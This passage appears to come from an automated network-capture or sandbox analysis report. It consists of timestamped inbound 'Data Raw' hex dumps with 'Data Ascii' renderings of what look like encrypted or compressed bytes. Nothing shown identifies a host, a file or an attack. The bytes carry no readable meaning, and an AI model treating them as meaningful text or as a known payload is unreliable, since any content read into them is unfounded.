81 c2 d5 42 4f e8 52 f2 f9 96 45 9d da 33 92 ae 18 36 45 8e ef 1e 35 3f 09 98 10 46 de 4c 6a f7 d1 d8 63 43 7d 04 bb a0 72 84 ec 0b 62 0a c4 f2 f9 96 45 9d da 33 92 c4 89 d1 74 04 d9 33 60 bd ac 0a 6e d0 Data Ascii: 7aLeE405$hE3J:c^QXE4054RmE3Ro5cC}6>E3~x\{}cC}kqE3V"5s0CE405}BORE36E5?FLjcC}rbE3t3`n
2022-08-23 01:43:52 UTC	1308	IN	Data Raw: c4 64 bf 82 71 d1 7e 30 a1 71 54 9d fe 02 95 8c 0e 56 cd 79 d9 e3 84 a7 53 42 ac f6 b3 56 d3 46 4b 88 05 f4 8c cd 49 9b c9 79 bf 82 71 d1 7e 30 a1 71 cc 96 5a 53 8d 73 09 98 77 71 d7 13 94 a2 36 08 10 1b e8 5d 03 61 2f d9 db 5f 0e 0b a6 f4 60 35 bf 82 71 d1 7e 30 a1 71 cc 96 5a 53 8d 73 09 98 96 58 95 af 5e 65 a3 d9 2f 61 ec fc 9b 8d 41 5e a0 26 7c 22 f3 92 ea 6c bf 82 71 d1 7e 30 a1 71 54 9d fe 02 95 8c 0e 56 e5 9b 60 f3 6f 46 0c e9 5c 48 45 ef 59 b1 f5 21 05 ca bb cb e7 32 85 93 bf 82 71 d1 7e 30 a1 71 54 9d fe 02 95 8c 0e 56 4a d2 8b 23 5c 93 05 ef 0c 3c eb 4f ac 95 43 55 09 ca 4b 9c ef 62 59 2b bf 82 71 d1 7e 30 a1 71 54 9d fe 02 95 8c 0e 56 c4 6f 65 3e 3c 42 05 2a df 6a e1 ac 57 69 9a 04 4c a1 85 40 e3 ae fc bd bf 82 71 d1 7e 30 a1 71 cc 96 5a 53 8d Data Ascii: dq~0qTVySBVFKIyq~0qZSswq6]a/_`5q~0qZSsX^e/aA^&\|"lq~0qTV`oF\HEY!2q~0qTVJ#\<OCUKbY+q~0qTVoe><B*jWiL@q~0qZS
2022-08-23 01:43:52 UTC	1324	IN	Data Raw: a5 83 90 2c 0d f1 24 5b 1b e1 dc 62 47 c4 fe 40 ee b2 b5 b3 7d db fb 40 40 57 68 78 48 68 7b 2a cc 9c 7b 3b 7e 4a 41 4c 25 ea 1b 1a 29 9e 0a d7 df 0f 8f 25 42 52 7d 73 7b 09 be b2 28 10 ba b9 57 51 6e 6c 9e a3 a7 69 c8 90 7d c2 6c 45 dd c3 f6 9f 49 30 ab c4 27 a6 96 05 8f fa ee 92 0d fb 30 f0 af a4 3c 68 8b b4 fe 8b 57 f6 f8 29 5c 5f 0a 43 0d ed cd 9a 3a 99 88 43 c2 56 9b 6b 06 c7 b9 7d c4 83 04 b4 ca 90 d6 ac 04 3d 4c 7d de ce a0 e1 aa 82 a6 e6 ab 49 ba 0c 8e e6 72 a2 88 c5 81 84 89 f3 09 ff cf 24 b0 70 79 10 e4 eb eb fb a8 0f 26 df 0d ac 39 95 fc 89 9a 5b 8f 83 ff 3c 4f 09 89 87 d4 fa c0 26 06 a5 00 c7 f3 0a c0 43 f3 5a 8b cc f0 58 42 a9 a5 12 f0 80 71 ab 36 28 84 30 12 d5 2c ba 3d dd bb 19 3e e2 82 e7 6d d3 86 ca 56 ee 8c 65 bb 3c 1a 78 b2 7f c9 b8 39 Data Ascii: ,$[bG@}@@WhxHh{*{;~JAL%)%BR}s{(WQnli}lEI0'0<hW)\_C:CVk}=L}Ir$py&9[<O&CZXBq6(0,=>mVe<x9
2022-08-23 01:43:52 UTC	1340	IN	Data Raw: 7e b1 73 2b 3b 6b 19 fe ba 97 db c9 98 79 e5 74 b1 ad 68 03 bb f6 35 09 81 d1 4c 39 cf 1c 78 38 a0 d9 0c f7 51 86 6a 5b 0d b2 61 95 dc 56 93 29 5e d1 9c ef 41 e4 19 fb 31 ab 70 7f eb e9 3e ff cf c9 f9 44 64 fd 0a 92 71 bd c3 f2 d8 26 77 9c 47 2c db c9 98 79 e5 74 b1 ad a6 e4 c6 c7 b8 1b 61 8d a8 b0 d9 22 6b f1 b2 27 b3 40 2e 00 f0 f0 fd 89 76 f3 10 90 01 84 34 9a 7d 44 71 84 d5 be 18 56 77 a0 80 be 4b dc cf 5d 10 3e 50 1f 89 bb 64 79 f7 2f 06 37 26 43 a2 87 db c9 98 79 e5 74 b1 ad 09 4e 77 9c 6b a4 82 6b d9 af e0 7d 71 da 29 f3 87 db 99 89 8b 9b c7 cc 83 17 92 b1 eb e8 82 2e 7d 9c 4e fc 59 fa bd 97 54 92 88 18 27 7d 45 f3 cb e8 92 43 51 72 24 a9 9b 5a 35 d3 01 21 19 9c db c9 98 79 e5 74 b1 ad d7 af 99 f2 d6 e4 d2 2a c4 2c b1 93 71 90 70 47 66 ab 57 81 35 Data Ascii: ~s+;kyth5L9x8Qj[aV)^A1p>Ddq&wG,yta"k'@.v4}DqVwK]>Pdy/7&CytNwkk}q).}NYT'}ECQr$Z5!yt*,qpGfW5
2022-08-23 01:43:52 UTC	1356	IN	Data Raw: a6 88 09 6d 0b 14 a2 94 b1 b8 97 f5 e1 e0 e8 8f 6d 5f 0d e5 5c 72 6b 1a e4 62 a5 90 6f 4b e1 85 d8 80 1b 24 2e a9 a8 31 a6 88 fd ea 21 04 e3 11 b9 d6 c0 a9 1f c8 c1 e4 b3 eb 80 6b 50 f0 07 97 6b 6f ce e0 b9 f8 a6 66 1d ce 1b 24 2e a9 a8 31 a6 88 66 5c 68 7c 4f ed 02 b4 1d 2d 35 9d df 18 8c ce c8 ba 9b 87 50 af b0 da 99 8b 36 a0 49 16 23 0e 1b 24 2e a9 a8 31 a6 88 2a 79 e8 4b 29 71 71 03 56 65 e2 63 34 97 b6 eb f2 ed 63 9e 67 b8 a3 81 3b 51 2e d5 d3 37 df f7 1b 24 2e a9 a8 31 a6 88 b3 a0 62 69 01 b2 dc 0d 23 0f 9f 41 5f 40 ac fb 3b 41 8a 66 c7 46 ef bc 5b 90 e7 1a d0 04 27 1c 1b 24 2e a9 a8 31 a6 88 38 13 b7 64 3f b4 ff 31 a9 9e 8e bf 05 0e 14 83 81 ce df 99 50 52 90 1a a1 be 51 03 90 45 89 c6 1b 24 2e a9 a8 31 a6 88 3f 6b 0e f5 23 e8 d2 d4 ad 75 06 55 42 Data Ascii: mm_\rkboK$.1!kPkof$.1f\h\|O-5P6I#$.1*yK)qqVec4cg;Q.7$.1bi#A_@;AfF['$.18d?1PRQE$.1?k#uUB
2022-08-23 01:43:52 UTC	1372	IN	Data Raw: 1d b3 7c f5 a9 8f 8c e6 3d 10 3e 02 b6 18 0e 00 27 84 e6 44 4e 1a 7a 3f af e3 00 e5 ef 6b 51 e2 36 2b ac 00 7c eb 9b df 1f 49 c0 5a e2 20 4f fb 72 0b 5e 37 e1 14 2c 23 23 e0 33 61 bd 46 bf 6b 82 ba cb 77 ac a6 c6 fb 2b 19 e6 73 1f c9 2a 43 6b f5 c2 be a6 bb 5a cf 35 87 18 9f ae 37 00 34 d9 88 34 16 34 07 14 b2 bc 7b c1 0c a6 a2 fd de 70 c5 21 a2 09 10 c6 19 e3 3e 9e f7 a4 1d 0a 63 4b 95 ec 71 1a ee 6d 6a 6c d1 c6 9c b0 f1 1b 37 aa fc 7f 7e 0e 87 b7 a0 61 e6 f1 53 4c be c5 33 87 09 da 69 7b 00 7a e9 1d 53 fe ad 1d 9f 33 ed ca c5 10 2c 0c cc 46 08 9d 8e d0 33 85 94 4c 55 74 91 63 9a bb d4 48 fe 86 ed 95 59 b2 c2 f2 de cf bd f3 89 3f c6 d8 1b c9 7d ea 3d 6b b9 72 77 e0 8c 97 e2 d1 c7 3c 83 ff 38 80 c7 b9 67 34 14 d4 e0 44 3e 4e 46 29 61 0d 6b a6 9b b4 44 02 Data Ascii: \|=>'DNz?kQ6+\|IZ Or^7,##3aFkw+s*CkZ57444{p!>cKqmjl7~aSL3i{zS3,F3LUtcHY?}=krw<8g4D>NF)akD
2022-08-23 01:43:52 UTC	1388	IN	Data Raw: 9f b6 d7 0d 18 d7 f7 6d 63 3a f2 2a b2 3b db 98 63 af 62 ad 6a c0 bc e1 5f 1f 0e fb af e1 53 41 4e a5 90 13 1b fb 63 db 4a c7 3d 72 0d b7 55 e8 37 0d 3f cb 01 d5 03 fa 56 db 20 94 81 8e fc 19 0f d8 b9 4c af 18 80 80 e1 23 e5 f6 77 5c de 4c e1 c9 f2 2a b2 3b db 98 63 af a9 3d b4 89 a3 3c aa f6 e0 d3 bd 50 e1 db 78 c2 03 de 87 4d 0b 9c 1b 91 32 16 9d dc a2 5d 48 36 1b 5f 3b b6 2d 50 77 1f 1a 96 0e b2 11 1a e2 9a dd bb 3e a3 6c 07 f2 c4 78 b2 37 db 95 70 9b 64 ba ed 14 8c 3a ef 97 ef 8e d5 71 7d 93 3b 31 46 bc ed ae 5a b3 9e 52 8a 33 7d 30 4f 0c c7 72 a0 38 c3 41 ee d9 61 f3 a9 cc 50 ef 1b fb eb 9d 04 a8 9e e3 e9 43 12 82 24 c3 40 45 fa 69 06 da ee e1 6d 85 b6 e4 c4 26 6c 58 fb 27 86 f0 7d 78 d8 29 7e 7c 0f e3 70 ab 07 5b 22 26 fe 2f 80 4a 9e cd cb 8e 3f 83 Data Ascii: mc:;cbj_SANcJ=rU7?V L#w\L;c=<PxM2]H6_;-Pw>lx7pd:q};1FZR3}0Or8AaPC$@Eim&lX'}x)~\|p["&/J?
2022-08-23 01:43:52 UTC	1404	IN	Data Raw: 1b d8 6b 7b e5 00 67 39 8e 8b d0 ea 23 69 6b d8 84 18 ed ab a1 d3 96 4b 70 6f 86 96 f5 5c 42 d7 cc 82 19 5d 80 f2 17 c5 06 54 d6 f7 e2 50 32 9b 03 e9 3a e3 80 f5 a0 5d 0b 45 9d 4e 28 4f ed 32 e5 ff d6 ed 1f 06 34 3f b6 a7 6e ef 48 49 8c fa 3a f0 b1 c2 b6 da 9f 67 6d e4 72 86 8c d1 04 91 da c8 2c 5c 8e 84 ec 15 6c bb c6 81 18 69 9f c5 07 66 3f 9a 31 4e 38 11 d4 7c fe 2c 4c e1 e6 2c cc 5a 12 c3 f3 77 c8 01 eb 81 36 ef f5 9a e5 f1 a2 b6 b6 cd 46 21 c5 25 3c 6e 1c ee f1 dc 52 14 a5 e5 1c 0f 25 f6 3f 56 b6 de f9 d2 57 45 dd fd 4b fa 24 e7 94 b4 67 e9 a2 ef 64 71 c8 58 fc ab b7 25 00 45 c7 44 50 55 39 aa a5 fa d2 42 9a 63 19 74 c7 23 4a af ca e2 80 00 ec 6b bc 5f e5 a6 99 67 2b 43 02 b8 08 ee 6b a8 15 ae da cf 12 5a dc f2 66 b2 13 78 06 bf ce c2 c8 db 55 05 a6 Data Ascii: k{g9#ikKpo\B]TP2:]EN(O24?nHI:gmr,\lif?1N8\|,L,Zw6F!%<nR%?VWEK$gdqX%EDPU9Bct#Jk_g+CkZfxU
2022-08-23 01:43:52 UTC	1420	IN	Data Raw: 88 b1 78 6d bd 41 c2 25 15 62 29 7e 7c 0f e3 70 ab 07 89 d9 d0 e6 ca 35 a7 cf 29 08 b2 16 9a c4 5d 67 80 b5 8c 44 63 44 53 05 2e bb 0c cb 26 d4 d8 fa b7 a7 3d 9e a0 0b 85 8f 18 cf ee 06 bb f4 b5 f2 93 1f c0 ed 3c 13 4d a7 09 c2 13 6b 57 d0 ee 18 6e 11 89 93 dd 08 c5 e8 b1 88 02 84 08 e5 fc 72 96 65 c2 3f a2 7e 87 e1 ad 5c 72 84 c0 6e 10 2a ee 81 c8 b0 de 5d 39 b6 ed 05 8a c2 9b 29 cd 15 b5 31 41 9f 57 63 c7 87 4f 98 4e 1d c0 6e ed 1f 55 d6 a6 06 b1 34 36 44 b1 05 58 cf df 95 27 61 85 45 ef 96 de a7 95 88 6c 7a 87 07 ad 01 1d 65 b9 68 cc e1 18 78 64 47 a6 e4 32 6b ef f3 d8 bc 1b de af 12 ea a9 8c ab ce 59 96 1a a7 85 65 d8 56 2c 76 3b 14 03 35 40 5c 06 ad 1c 1d 09 12 e2 5b 29 2a bb 1f 0b 98 22 7d e7 06 9b 19 75 ee 91 f1 bc fd 9f aa 6e bf 11 15 3d 51 4e 76 Data Ascii: xmA%b)~\|p5)]gDcDS.&=<MkWnre?~\rn]9)1AWcONnU46DX'aElzehxdG2kYeV,v;5@\[)"}un=QNv
2022-08-23 01:43:52 UTC	1436	IN	Data Raw: 40 1b 11 1b 43 44 eb e3 fe 3b 0c dc 40 c8 8f b3 10 92 9d 20 15 e8 cd e4 17 5e 6e dd 37 e4 2a 36 42 5a 5e 2f de 9c 25 ce 29 4e 5e 37 4e 51 6f 66 0e fd a4 13 1e 75 b5 f6 5e ae 82 56 ba 8a 81 e2 24 14 7b 94 a7 58 26 d7 27 37 3f cb 01 d5 03 fa 56 db 08 f0 be b1 33 bd 0b 19 f4 30 36 9c e2 f6 0f ff ac e6 b5 0e bb 7a b7 d5 15 65 34 85 52 a5 43 42 fa 40 c7 8a 70 9a 22 d6 cb b7 9f da bc c4 72 34 f7 18 ad ca 3e 68 5d 8c 5d 58 b3 bf d4 f7 06 cf 03 4b 37 cf c5 05 c8 b3 1b 01 3e 2b 1e 26 5b 3e 2d f9 f2 25 99 9a d3 ff ac e6 b5 0e bb 7a b7 d5 23 63 90 e8 ea 05 8d c8 49 26 e9 9b bc d6 dc 1c 9a 10 da ff 57 2b 3c 8a 1c fa 41 a4 4e 78 78 c5 e5 db 38 22 6e 8c ce 57 3f cb 01 d5 03 fa 56 db cb 86 07 55 10 6a 3c 6c 75 a9 85 f7 0c 4d ce 02 3e 1f fc c7 e0 e6 19 cb 80 41 a1 4c 5a Data Ascii: @CD;@ ^n7*6BZ^/%)N^7NQofu^V${X&'7?V306ze4RCB@p"r4>h]]XK7>+&[>-%z#cI&W+<ANxx8"nW?VUj<luM>ALZ
2022-08-23 01:43:52 UTC	1452	IN	Data Raw: 73 d9 b9 63 2a 92 72 90 ae 4b 1a 54 d1 7f 67 5d f8 f6 ab e7 f0 19 43 6d 19 46 6b 79 8b 09 bb 68 7f a2 1e 3b 38 8a cb 48 54 0d 6e 15 74 58 ed 67 8a 48 9a 14 9a 94 60 c5 8b e3 6f db 50 b5 b0 05 17 ea 02 c5 a2 49 84 d8 e6 b8 07 52 1c 56 d3 39 c1 6d c3 77 46 c0 f0 db d9 7a e9 76 06 54 ef 22 7d 75 b1 b2 f6 cf bc b2 b4 f5 d8 8b 66 e4 e4 8d 1f 59 17 a9 32 f0 c8 b5 1c 2b 43 cb df 7b a3 8d 3e 37 de 7a 76 bc c0 f5 19 9b fd 04 2f 8d 66 04 2c 47 d9 89 ea a4 b6 5a e2 04 58 68 d6 45 b7 29 2f 68 cd cb 8e 3f 83 08 78 87 56 06 10 82 eb 42 de 43 50 62 68 74 bc 8b 08 da 02 08 18 44 eb 5c 33 66 f5 68 7b 69 50 6b 0e 21 7d 28 73 6c 06 5a ae ce 1b c1 d9 a7 42 a9 51 90 13 bc 7f 45 9a 8b dd a5 d2 a7 5c 83 07 3d 74 ee ba 4c 48 61 16 c9 94 ae 06 0e b8 29 52 26 3b c5 bc be 83 56 c3 Data Ascii: sc*rKTg]CmFkyh;8HTntXgH`oPIRV9mwFzvT"}ufY2+C{>7zv/f,GZXhE)/h?xVBCPbhtD\3fh{iPk!}(slZBQE\=tLHa)R&;V
2022-08-23 01:43:52 UTC	1468	IN	Data Raw: 8f 4c 9e 23 70 b3 e3 44 24 a9 cf 16 eb ea 1c 10 32 80 d0 37 47 a0 9c 9c b1 89 8a 15 2b e3 1a 4f fc f8 b4 00 3f f2 82 4f f6 a2 86 ab 62 40 78 f9 4b fc f6 bf 83 99 ac 0a 29 f2 dd 52 ba 99 55 01 75 75 ee 81 c8 b0 de 5d 39 b6 98 66 74 dd c5 db ac b9 d0 e3 3a 6d 46 63 09 db 54 28 56 38 72 48 1c ff da 19 3e f7 ab 32 93 75 68 15 de a2 35 18 b0 ad f3 54 a9 63 bb dd ed aa cd cb 8e 3f 83 08 78 87 ab 17 47 cf 43 54 8c 03 1a ba d3 a5 74 2f 2c 66 b0 6a 2b 06 75 82 01 4a be ac 37 f3 67 e5 79 4d 32 48 54 10 75 7e 11 fb 71 d8 57 43 9e ed 24 c3 0d 17 8f b4 1e 0a 1c 0e aa a0 46 ad 71 d0 6f 6a 70 47 ef dd e9 2e a2 3e c9 ae 7a c6 8d 3d 2e 11 7c 38 08 11 56 48 b4 d6 31 0f d3 f6 24 fd 9d d9 14 d9 5a 5b 81 05 14 cc 1b ca 6d 1e af bb b6 7f 18 ff 66 d2 a9 8d bd 03 6f cf 7d f5 1f Data Ascii: L#pD$27G+O?Ob@xK)RUuu]9ft:mFcT(V8rH>2uh5Tc?xGCTt/,fj+uJ7gyM2HTu~qWC$FqojpG.>z=.\|8VH1$Z[mfo}
2022-08-23 01:43:52 UTC	1484	IN	Data Raw: e1 34 5f 59 77 e5 3a 89 bc a2 6d 2c 59 5f a5 cf 5f b4 f0 51 4a f8 44 3d 2d a3 92 8d ac 5d ed 0a 2b 71 ea d4 c6 45 c4 93 bb 7a b9 20 77 73 5a 05 03 92 de cd 16 6e 7f 5f f1 90 98 30 7c ec 6b 0c 73 16 d3 a0 86 ca 5f 5c 86 eb 4b f2 5f 6b 20 b7 38 a5 e0 be 41 b9 12 a5 f7 07 21 16 31 e8 a7 3a e3 02 3c 9d 32 eb 22 8c 10 96 2d 1a 39 57 51 c2 06 74 69 b2 a2 ab 71 06 0c 2c 93 77 4e 60 0c 51 db 0e a2 52 1c b3 57 76 d8 e3 d3 fe 8d 9c 3c 54 f4 aa 8b da c2 fc e0 a4 03 02 91 83 0e fe a7 d9 78 02 e7 3d a8 64 ab cc 99 d7 0e 7e 72 7f eb 3d f6 59 c0 a4 db 82 36 af 3c 80 6f e5 80 e9 93 9e d3 e6 d7 9a 1a 51 bf 06 27 28 de d3 12 b9 ee a2 ca d2 9c 4a 8c 96 d7 e1 47 76 84 84 8f 02 05 15 3b 3d 66 bd 8e 1e 7e 6f b5 3d 89 55 9f 1d 80 3e 2f 47 48 c1 7a 13 ae fd 1c 15 95 09 51 ef 44 Data Ascii: 4_Yw:m,Y__QJD=-]+qEz wsZn_0\|ks_\K_k 8A!1:<2"-9WQtiq,wN`QRWv<Tx=d~r=Y6<oQ'(JGv;=f~o=U>/GHzQD
2022-08-23 01:43:52 UTC	1500	IN	Data Raw: 2c 0c eb df 42 19 ff a8 f8 fd 3c bc 5a 22 b5 92 55 30 1e bb 04 32 62 2f 69 08 c4 dc 5d d7 af a5 a6 cc e4 db 8a 0b 53 df 83 e7 f8 1a 6d f3 22 7e fb ed 9d 74 d5 c2 50 f4 a0 8d 04 a0 73 aa d9 03 a8 d2 93 34 f4 5a 38 8d 66 6f 5e b9 20 23 9f c8 81 46 f9 46 c0 70 e1 e8 2d 65 3b d3 9b f7 5b 18 56 9a 97 3e 93 19 b5 63 0f c2 e2 52 36 d6 f3 f0 f5 e2 cc 91 5a 35 0f 96 e6 bc 92 d8 0c 13 6d 40 7b 35 3f cb 01 d5 03 fa 56 db be 3c 67 34 84 0e 71 89 2f 20 23 95 ac be bc dc 91 9d 79 f5 3e b8 ed 22 91 ed d7 73 eb b9 b0 0c 5a b1 b7 7a a4 c7 f2 84 c7 db cb 63 8a fa 3d 17 60 a7 48 2b 0a 4d a6 98 49 6d c3 37 4b 00 ab a3 3f bd e3 ac cd aa a4 97 42 58 3c 1a 3b 6c 8c d6 c8 af c0 9b e4 45 66 42 37 f4 4d 78 e9 aa a9 5f 74 8c 11 39 c6 04 1e 41 93 7f a4 e9 cd b7 d9 53 f6 b2 37 88 29 Data Ascii: ,B<Z"U02b/i]Sm"~tPs4Z8fo^ #FFp-e;[V>cR6Z5m@{5?V<g4q/ #y>"sZzc=`H+MIm7K?BX<;lEfB7Mx_t9AS7)
2022-08-23 01:43:52 UTC	1516	IN	Data Raw: 4b 1a 3f c9 8b f1 01 64 8a 4e 6e 8f c7 06 f3 7c c4 4e 53 b9 18 84 fc 22 12 95 33 c6 bc 91 39 d2 b7 06 04 c9 35 1b 2d e2 f5 ed 0e 65 01 ee 75 ff 18 3f 18 7b da 3a 2e 16 20 b1 39 4d 82 f1 11 3f b0 95 b4 e1 b9 bc 83 bf 27 92 29 9e 0c a8 a8 88 5e fe aa e6 9e 03 3c 41 86 0a 37 d9 3b 09 de 15 bb d4 f2 ca 32 4f 95 fd 6d 72 fd ba 54 58 6c 1d b9 aa 9d 94 3e ff 9c ef 09 47 7a 71 1b 41 5f a2 0e d4 77 04 0f 1e 56 a6 66 2c 41 41 e4 b2 cf 16 e8 da cd cb 8e 3f 83 08 78 87 1f d9 00 b5 47 2c 59 6e 7a 91 3f e5 f0 f8 16 d6 8b 97 1f 54 42 a3 c0 7f d4 99 87 90 34 bf 30 6c 25 9a 9a 0b 38 30 30 ed 8e 30 05 72 54 ef 12 06 99 a1 49 0e a4 08 c3 80 6d b8 17 1e d1 df f8 b4 25 57 bd e3 dc 27 18 33 34 d1 69 b1 99 bd 10 51 54 7c e0 30 27 13 53 9c f6 a6 e4 25 04 94 eb 18 ce c9 9f 0f e2 Data Ascii: K?dNn\|NS"395-eu?{:. 9M?')^<A7;2OmrTXl>GzqA_wVf,AA?xG,Ynz?TB40l%8000rTIm%W'34iQT\|0'S%
2022-08-23 01:43:52 UTC	1532	IN	Data Raw: 9a a6 2d a8 fd 55 f1 87 fd 43 de c1 44 cc 09 8e f4 c1 c1 7d c5 6a 76 64 9c 14 fc 5c 74 60 fc 5b f3 19 52 01 d7 47 77 ec a5 9f 3d bc 6a d3 7e ad f8 4a 5e 7f 41 bd ec af 5c 83 a8 8c c0 81 b9 1d c0 c3 71 0d 3e 00 41 c4 f7 25 38 14 dc d8 a5 63 14 75 23 e2 c3 33 74 70 de a9 42 28 94 ad 4e 59 7d 02 96 47 1e 5a 87 d7 f6 aa a6 1f 4e 67 64 8d ce da 8e 3f 97 5f 54 17 8f 51 0a 07 28 ee 09 e0 9e d3 4f 12 c1 06 34 ed da 84 cb be 74 10 76 d8 fb 3b 6d 65 77 57 65 41 8d 57 60 ef e9 2d 66 02 07 2b 2e 1f 87 6d dc 3f 29 49 3d 0c 7c b4 1a 6b e0 de 5c c6 b5 e0 99 07 a5 c4 24 27 1f 3e 4e 0f c1 e4 61 1b 4c 27 be 2b 64 c7 9f dc fd 6c f4 a4 2d 9a 12 09 f6 eb 86 47 4b 83 6d 65 77 57 65 41 8d 57 74 3d 06 0e d8 3f 6d 3a bc cc e4 3c 17 31 59 52 a2 17 40 06 d0 77 ff bd 24 ef 26 b9 53 Data Ascii: -UCD}jvd\t`[RGw=j~J^A\q>A%8cu#3tpB(NY}GZNgd?_TQ(O4tv;mewWeAW`-f+.m?)I=\|k\$'>NaL'+dl-GKmewWeAWt=?m:<1YR@w$&S
2022-08-23 01:43:52 UTC	1548	IN	Data Raw: 78 87 d6 c1 d6 6a fe 7d cc e2 5c fe 97 93 86 14 cf 41 ce b4 cb 84 f5 7a 34 62 cd a2 bb 95 03 4d 69 8e f0 33 6d 6a a4 79 00 1a 63 c3 3f a2 ef 7b b7 0f 55 e0 09 f2 0a 37 b2 08 16 be a9 21 b5 f1 89 3c 1c fa 41 a4 4e 78 78 c5 b6 58 df 54 21 37 a0 b7 3f cb 01 d5 03 fa 56 db 2c d4 4e 62 49 46 1c 15 55 39 6a 16 e4 91 0f b3 bf e1 4b ad af 8b ed 59 f7 12 da c2 a2 2b 59 c9 5a 83 b6 19 22 47 cc c9 71 ce 1b 2d 53 eb 98 aa e5 bf ab a7 3a 0b 92 cc ba 3d 1a 62 42 5e dd 29 f0 bd 69 b3 50 3b 00 7b 05 73 c5 57 b9 4c c8 d5 32 e1 b6 8c be d2 76 57 bf e1 4b ad af 8b ed 59 cb ec b5 7e 98 d5 e3 f7 0a 35 df 85 0e 70 37 a2 39 23 21 0b 1d b1 bd 17 6f ee a2 28 f1 b9 00 99 88 4c f8 42 ad 3c 84 a4 90 7f 33 24 bc 99 49 99 89 be 1c ef cf e5 b9 e9 9a be f9 6f 8f 62 fa 1b 3a 3f c5 c4 da Data Ascii: xj}\Az4bMi3mjyc?{U7!<ANxxXT!7?V,NbIFU9jKY+YZ"Gq-S:=bB^)iP;{sWL2vWKY~5p79#!o(LB<3$Iob:?
2022-08-23 01:43:52 UTC	1564	IN	Data Raw: 87 65 7b 88 47 7c b5 27 d0 60 29 7e 7c 0f e3 70 ab 07 39 23 21 0b 1d b1 bd 17 68 3f 98 84 b8 a0 b4 1f ae cd 12 3f f2 13 3f 8a 90 7f 33 24 bc 99 49 99 dc 37 7b b8 97 41 3e 66 9a be f9 6f 8f 62 fa 1b 3a 3f c5 c4 da fb 87 65 d8 9f 81 95 1f 78 f1 5d 29 7e 7c 0f e3 70 ab 07 39 23 21 0b 1d b1 bd 17 0c 8e 47 48 48 97 20 5a 4c 55 17 ee 6c ce 91 fc 90 7f 33 24 bc 99 49 99 27 b9 56 e1 f6 4a b7 26 9a be f9 6f 8f 62 fa 1b 3a 3f c5 c4 da fb 87 65 9d ba cb 79 d2 08 9b f8 29 7e 7c 0f e3 70 ab 07 39 23 21 0b 1d b1 bd 17 15 0d 97 d6 35 c5 fa 12 aa 62 05 59 d8 9c d9 e3 90 7f 33 24 bc 99 49 99 0c 4b 40 7c 72 62 b1 9c 9a be f9 6f 8f 62 fa 1b 3a 3f c5 c4 da fb 87 65 37 79 3b 3f 34 0b 9e 13 29 7e 7c 0f e3 70 ab 07 39 23 21 0b 1d b1 bd 17 c2 93 6f 12 d1 b3 ef ca 46 85 09 8c c0 Data Ascii: e{G\|'`)~\|p9#!h???3$I7{A>fob:?ex])~\|p9#!GHH ZLUl3$I'VJ&ob:?ey)~\|p9#!5bY3$IK@\|rbob:?e7y;?4)~\|p9#!oF
2022-08-23 01:43:52 UTC	1580	IN	Data Raw: b1 77 90 7f 33 24 bc 99 49 99 86 51 b5 99 04 89 cf f5 9a be f9 6f 8f 62 fa 1b 3a 3f c5 c4 da fb 87 65 f9 14 59 08 ce c6 cd e1 29 7e 7c 0f e3 70 ab 07 39 23 21 0b 1d b1 bd 17 3c 9f c2 55 f6 7e 60 06 32 02 f0 c7 83 c1 90 22 90 7f 33 24 bc 99 49 99 24 0a 16 03 32 d6 ce bc 9a be f9 6f 8f 62 fa 1b 3a 3f c5 c4 da fb 87 65 4b cb e8 b4 1c 13 01 12 29 7e 7c 0f e3 70 ab 07 39 23 21 0b 1d b1 bd 17 74 15 7e b6 97 34 fe c9 fc b6 e8 4d f0 5b cf c4 90 7f 33 24 bc 99 49 99 db ae 8c a2 df fd f9 5f 9a be f9 6f 8f 62 fa 1b 3a 3f c5 c4 da fb 87 65 2e 4a 0e 52 24 49 5a 3a 29 7e 7c 0f e3 70 ab 07 39 23 21 0b 1d b1 bd 17 44 07 2a c9 f2 34 44 61 b1 54 e6 e0 72 d6 39 10 90 7f 33 24 bc 99 49 99 98 42 58 32 11 21 42 7b 9a be f9 6f 8f 62 fa 1b 3a 3f c5 c4 da fb 87 65 8f fb 5a b6 a0 Data Ascii: w3$IQob:?eY)~\|p9#!<U~`2"3$I$2ob:?eK)~\|p9#!t~4M[3$I_ob:?e.JR$IZ:)~\|p9#!D*4DaTr93$IBX2!B{ob:?eZ
2022-08-23 01:43:52 UTC	1596	IN	Data Raw: 5f 31 29 7e 7c 0f e3 70 ab 07 39 23 21 0b 1d b1 bd 17 52 c1 7e 9f bf 9c c6 07 c5 55 97 c0 07 6a 9b dc 90 7f 33 24 bc 99 49 99 0f ac 15 f8 fb 4c b0 8b 9a be f9 6f 8f 62 fa 1b 3a 3f c5 c4 da fb 87 65 74 97 6e cf 79 c5 64 43 29 7e 7c 0f e3 70 ab 07 39 23 21 0b 1d b1 bd 17 55 b8 33 e1 03 26 42 2a 26 cd ae 92 17 a5 0d ef 90 7f 33 24 bc 99 49 99 f2 40 68 ec 7c 69 6d f0 9a be f9 6f 8f 62 fa 1b 3a 3f c5 c4 da fb 87 65 2f 8a ef fe d7 3d 52 63 29 7e 7c 0f e3 70 ab 07 39 23 21 0b 1d b1 bd 17 4f 9a a6 c0 85 f3 38 04 74 39 97 3b 07 f3 03 23 90 7f 33 24 bc 99 49 99 69 92 8a ce ec 2e 56 5c 9a be f9 6f 8f 62 fa 1b 3a 3f c5 c4 da fb 87 65 43 42 40 7b 61 b6 b9 1f 29 7e 7c 0f e3 70 ab 07 39 23 21 0b 1d b1 bd 17 ea 30 f3 7c 49 d5 fe 01 d7 66 b2 e0 6c 26 2a 72 90 7f 33 24 bc Data Ascii: _1)~\|p9#!R~Uj3$ILob:?etnydC)~\|p9#!U3&B&3$I@h\|imob:?e/=Rc)~\|p9#!O8t9;#3$Ii.V\ob:?eCB@{a)~\|p9#!0\|Ifl&r3$
2022-08-23 01:43:52 UTC	1612	IN	Data Raw: 49 99 e1 59 f3 ce 42 93 1d 19 9a be f9 6f 8f 62 fa 1b 3a 3f c5 c4 da fb 87 65 5c dd 2f fa 28 77 23 4c 29 7e 7c 0f e3 70 ab 07 39 23 21 0b 1d b1 bd 17 03 9f 2a 5b bd 89 2e 62 07 73 90 9f d5 c2 4d cc 90 7f 33 24 bc 99 49 99 e3 ec 49 5d 7f 51 74 0a 9a be f9 6f 8f 62 fa 1b 3a 3f c5 c4 da fb 87 65 3a d6 66 8a 60 57 ce 5e 29 7e 7c 0f e3 70 ab 07 39 23 21 0b 1d b1 bd 17 f6 64 67 e2 a3 46 c7 b6 87 42 57 95 bc cb 8e 59 90 7f 33 24 bc 99 49 99 00 a5 da 49 82 20 d0 6c 9a be f9 6f 8f 62 fa 1b 3a 3f c5 c4 da fb 87 65 c8 fa cc a9 65 df b0 b7 29 7e 7c 0f e3 70 ab 